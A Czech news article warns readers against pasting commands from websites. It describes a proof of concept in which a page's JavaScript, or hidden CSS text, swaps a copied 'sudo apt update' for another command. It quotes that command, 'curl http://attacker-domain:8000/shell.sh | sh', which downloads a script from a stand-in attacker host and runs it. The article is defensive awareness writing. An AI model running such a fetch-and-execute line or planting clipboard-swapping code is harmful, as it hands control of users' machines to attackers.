Bezpečnost | Javascript | Kód

Už nikdy nekopírujte a nevkládejte příkazy z webových stránek – můžete tak ohrozit Windows i Linux

  • Kopírujete někdy příkazy z webových stránek?
  • Pak byste toho měli hodně rychle nechat!
  • Můžete totiž zkopírovat škodlivý kód

Pokud někdy kopírujete příkazy z webových stránek přímo do terminálu či příkazového řádku, měli byste s tím hodně rychle přestat, varuje web Bleeping Computer. Riskujete totiž vážné ohrožení operačního systému svého počítače. Je přitom jedno, zda používáte Windows nebo Linux.

Nevěříte? Tak se sami přesvědčte! Gabriel Friedlander, zakladatel platformy pro školení o bezpečnosti Wizer, předvedl zřejmý, ale překvapivý hack, který vás přiměje k opatrnosti při kopírování a vkládání příkazů z webových stránek.

Proč nekopírovat příkazy z webů?

Friedlander varuje, že webová stránka může skrytě nahrazovat obsah schránky. V praxi to znamená, že to, co se do schránky skutečně zkopíruje, se může značně lišit od toho, co jste zkopírovat chtěli. Bez patřičné pozornosti tak snadno vložíte do příkazového řádku či terminálu něco úplně jiného, než bylo záměrem.

V jednoduchém důkazu konceptu (proof of concept; PoC), který Friedlander zveřejnil na svém blogu, žádá čtenáře, aby zkopírovali jednoduchý příkaz sudo apt update. V operačním systému Linux tento příkaz slouží ke zcela nevinnému stažení informací o balíčcích ze všech nakonfigurovaných zdrojů.

Háček je v tom, že po označení příkazu myší a jeho zkopírování (ať už klávesovou zkratkou Ctrl+C, nebo přes kontextovou nabídku Kopírovat pod pravým tlačítkem myši) se do schránky vloží úplně jiný řetězec. Konkrétně curl http://attacker-domain:8000/shell.sh | sh. Najednou tu máme příkaz ke stažení souboru a jeho spuštění v shellu!

Nejenže se do schránky zkopíruje úplně jiný příkaz, ale aby toho nebylo málo, je na jeho konci znak nového řádku (tedy Enter). Pokud byste takový příkaz v dobré víře vložili do terminálu, došlo by k jeho okamžitému spuštění a provedení.

Pozadí záludné záměny

Kouzlo spočívá v kódu v JavaScriptu skrytém ve stránce. Jakmile zkopírujete text sudo apt update obsažený v prvku HTML, spustí se níže uvedený úryvek kódu. Následně dojde k zachycení události kopírování „naslouchačem událostí“ a nahrazení obsahu schránky škodlivým testovacím kódem.

Kód pro nahrazení obsahu schránky Kód pro vložení textu bez vědomí uživatele

Tyto příkazy mají v JavaScriptu celou řadu legitimních případů použití, ale toto je jeden z několika příkladů, jak je možné je relativně snadno zneužít. „Proto byste NIKDY neměli kopírovat příkazy přímo do terminálu,“ varuje Friedlander.

„Myslíte si, že kopírujete nějakou věc, ale ta je nahrazena něčím jiným – například škodlivým kódem. Stačí jediný řádek vložený do kódu, který jste zkopírovali, a vytvoříte zadní vrátka do své aplikace. Tento útok je velmi jednoduchý, ale také velice škodlivý,“ uvádí objevitel na svém blogu.

Jde to i jinak

Jiný uživatel diskuzního webu Reddit v komentáři představil alternativní verzi tohoto triku, která nevyžaduje žádný JavaScript. Jeho pointa spočívá v neviditelném textu vytvořeném pomocí HTML a kaskádových stylů (CSS), který se zkopíruje do schránky při kopírování viditelných částí textu.

Kód pro vložení textu bez vědomí uživatele Kód pro vložení textu bez vědomí uživatele

„Problém není jen v tom, že webová stránka může pomocí JavaScriptu měnit obsah vaší schránky,“ vysvětluje uživatel SwallowYourDreams. „Může také v HTML skrývat příkazy, které jsou pro lidské oko neviditelné, ale počítač je zkopíruje.“

V tuto chvíli tak máte přinejmenším dva důvody, proč byste nikdy neměli slepě věřit tomu, co zkopírujete z webové stránky. Ochrana je v tomto případě jednoduchá: nejprve vložte obsah schránky z webu do jednoduchého textového editoru, zkontrolujte ho, a teprve poté ho vkládejte do terminálu.

Diskuze (41) Další článek: Na každý den jiný design auta. Nové BMW je polepené e-inkem a na povel mění vzhled

Témata článku: , , , , , , , , , , , , , , , , , , , ,